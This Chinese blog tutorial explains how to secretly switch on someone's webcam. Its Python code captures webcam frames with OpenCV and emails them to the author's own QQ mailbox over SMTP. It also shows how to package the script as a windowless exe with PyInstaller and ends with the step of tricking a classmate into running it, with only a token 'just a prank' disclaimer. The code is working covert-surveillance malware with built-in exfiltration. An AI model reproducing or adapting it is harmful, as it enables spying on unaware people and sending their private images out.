用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)


Posted in Python onMay 17, 2020

前言:

如何悄悄的打开朋友的摄像头,看看她最近过的怎么样,嘿嘿!这次让我带你们来实现这个功能。

注: 这个程序仅限在朋友之间开玩笑,别去搞什么违法的事情哦。

代码

发送邮件

使用python内置的email模块即可完成。导入相应的代码封装为一个send函数,顺便导入需要导入的包
注: 下面的代码有三处要修改的地方,两处写的qq邮箱地址,还有一处写的qq邮箱授权码,不知道qq邮箱授权码的可以去百度一下

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import cv2
import os

def send(img):
  sender = '写你的qq邮箱地址'
  receivers = '写你的qq邮箱地址'
  message = MIMEMultipart('related')
  subject = '终于能发图片了'
  message['Subject'] = subject
  message['From'] = sender
  message['To'] = receivers
  content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
  message.attach(content)
  file = open(img, "rb")
  img_data = file.read()
  file.close()
  img = MIMEImage(img_data)
  img.add_header('Content-ID', 'imageid')
  message.attach(img)

  try:
    server = smtplib.SMTP_SSL("smtp.qq.com", 465)
    server.login(sender, '写授权码')
    server.sendmail(sender, receivers, message.as_string())
    server.quit()
  except smtplib.SMTPException as e:
    print(e)

打开摄像头并发送图片

我们使用opencv打开笔记本内置的摄像头,不多说上代码

cap = cv2.VideoCapture(0)
for item in range(10):
  cat, frame = cap.read()
  cv2.imwrite('1.png', frame)
  send('1.png')
  os.remove('1.png')

使用pyinstaller将程序打包

好不容易写好了代码,结果同学那里没有运行环境岂不是很沮丧。那我们就嘿嘿嘿。 把它直接搞成一个exe文件,照片还不是手到擒来。

我们使用pyinstaller来打包,没有下载的可以先pip安装

pip install pyinstaller -i https://pypi.douban.com/simple --user

之后我们打开cmd,cd到你的代码所在的文件,输入一下指令。

Pyinstaller -F -w setup.py

注: setup.py 是你的文件名。

然后等一会,等运行完了之后你就会发现在你的代码所在的文件夹里多了一个dist的文件夹,exe文件就在那里。

下面就是最关键的一步了!

忽悠同学

找个同学忽悠她一下

用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)

到此这篇关于用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)的文章就介绍到这了,更多相关Python打开摄像头并保存内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木! 

Python 相关文章推荐
python生成指定长度的随机数密码
Jan 23 Python
Python实现的tab文件操作类分享
Nov 20 Python
详解使用Python处理文件目录的相关方法
Oct 16 Python
Python六大开源框架对比
Oct 19 Python
Python单元和文档测试实例详解
Apr 11 Python
python 二维矩阵转三维矩阵示例
Nov 30 Python
Python Numpy库常见用法入门教程
Jan 16 Python
Python开发企业微信机器人每天定时发消息实例
Mar 17 Python
安装多个版本的TensorFlow的方法步骤
Apr 21 Python
python爬虫scrapy框架之增量式爬虫的示例代码
Feb 26 Python
python标准库ElementTree处理xml
May 20 Python
Python代码实现双链表
May 25 Python
Python键鼠操作自动化库PyAutoGUI简介(小结)
May 17 #Python
python 实现PIL模块在图片画线写字
May 16 #Python
在python image 中实现安装中文字体
May 16 #Python
Python 判断时间是否在时间区间内的实例
May 16 #Python
解决Python Matplotlib绘图数据点位置错乱问题
May 16 #Python
Python填充任意颜色,不同算法时间差异分析说明
May 16 #Python
解决echarts中饼图标签重叠的问题
May 16 #Python
You might like
php调用mysql存储过程
2007/02/14 PHP
php实现爬取和分析知乎用户数据
2016/01/26 PHP
Linux(CentOS)下PHP扩展PDO编译安装的方法
2016/04/07 PHP
PHP批量删除jQuery操作
2017/07/23 PHP
PHP高效获取远程图片尺寸和大小的实现方法
2017/10/20 PHP
又一个小巧的图片预加载类
2007/05/05 Javascript
网上抓的一个特效
2007/05/11 Javascript
Javascript 篱式条件判断
2008/08/22 Javascript
JavaScript 全面解析各种浏览器网页中的JS 执行顺序
2009/02/17 Javascript
jQuery图片的展开和收缩实现代码
2013/04/16 Javascript
jQuery实现表单步骤流程导航代码分享
2015/08/28 Javascript
VUEJS实战之构建基础并渲染出列表(1)
2016/06/13 Javascript
原生js编写焦点图效果
2016/12/08 Javascript
js实现交通灯效果
2017/01/13 Javascript
移动端利用H5实现压缩图片上传功能
2017/03/29 Javascript
js中变量的连续赋值(实例讲解)
2017/07/08 Javascript
js实现网页的两个input标签内的数值加减(示例代码)
2017/08/15 Javascript
node.js 发布订阅模式的实例
2017/09/10 Javascript
vue源码学习之Object.defineProperty 对数组监听
2018/05/30 Javascript
Javascript实现秒表倒计时功能
2018/11/17 Javascript
原生JS实现汇率转换功能代码实例
2020/05/13 Javascript
[01:15:00]LGD vs Mineski Supermajor 胜者组 BO3 第一场 6.5
2018/06/06 DOTA
名片管理系统python版
2018/01/11 Python
python正则表达式及使用正则表达式的例子
2018/01/22 Python
Numpy 改变数组维度的几种方法小结
2018/08/02 Python
Python startswith()和endswith() 方法原理解析
2020/04/28 Python
Python钉钉报警及Zabbix集成钉钉报警的示例代码
2020/08/17 Python
python对 MySQL 数据库进行增删改查的脚本
2020/10/22 Python
美国最大的存储市场:SpareFoot
2018/07/23 全球购物
Street One瑞士:德国现代时装公司
2019/10/09 全球购物
生产部统计员岗位职责
2014/01/05 职场文书
停车位租赁协议书
2014/09/24 职场文书
2015年党员公开承诺事项
2015/04/27 职场文书
2019年励志签名:致拼搏路上的自己
2019/10/11 职场文书
css实现文章分割线样式的多种方法总结
2021/04/21 HTML / CSS
ECharts transform数据转换和dataZoom在项目中使用
2022/12/24 Javascript